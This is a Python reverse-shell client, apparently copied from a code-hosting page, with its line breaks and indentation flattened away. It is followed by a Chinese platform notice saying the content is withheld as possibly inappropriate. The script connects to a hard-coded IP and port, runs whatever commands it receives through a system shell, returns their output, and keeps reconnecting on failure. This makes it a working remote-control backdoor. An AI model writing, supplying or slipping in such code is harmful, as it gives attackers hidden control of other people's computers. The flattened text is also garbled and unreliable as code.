from socket import *import subprocessimport osimport timeimport sysip = '192.168.1.88' # server ip, which you want to connect toport = 4343 # the port needs to be the same as server.py port in order to connect with serverclass Client:def __init__(self, _host, _port=3434):self.host = _hostself.port = _portself.s = Noneself.launch()# run younionerdef launch(self):try:self.open_socket()self.receive_commands()self.chat()except error as e:time.sleep(6)self.launch()# will create the socketdef open_socket(self):try:self.s = socket(AF_INET, SOCK_STREAM)self.s.connect((self.host, self.port))except:time.sleep(5)self.open_socket()# receive commands from the Serverdef receive_commands(self):try:while True:data = self.s.recv(1024)striped_data = data[:].strip().decode("utf-8")if striped_data[:2] == 'cd':os.chdir(striped_data[3:])if len(data) > 0:try:cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stderr=subprocess.PIPE,stdout=subprocess.PIPE, stdin=subprocess.PIPE)result = str(cmd.stdout.read() + cmd.stderr.read(), "utf-8")self.s.send(str.encode(result + str(os.getcwd()) + " > "))except:result = "Command not recognized \n"self.s.send(str.encode(result + str(os.getcwd()) + " > "))# this condition will work when the user quit server.pyif striped_data == "end-of-session":time.sleep(2)self.s.close()sys.exit(0)os._exit(0)exit(0)quit(0)self.s.close()except:time.sleep(5)self.receive_commands()if __name__ == '__main__':c = Client(ip, port)
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。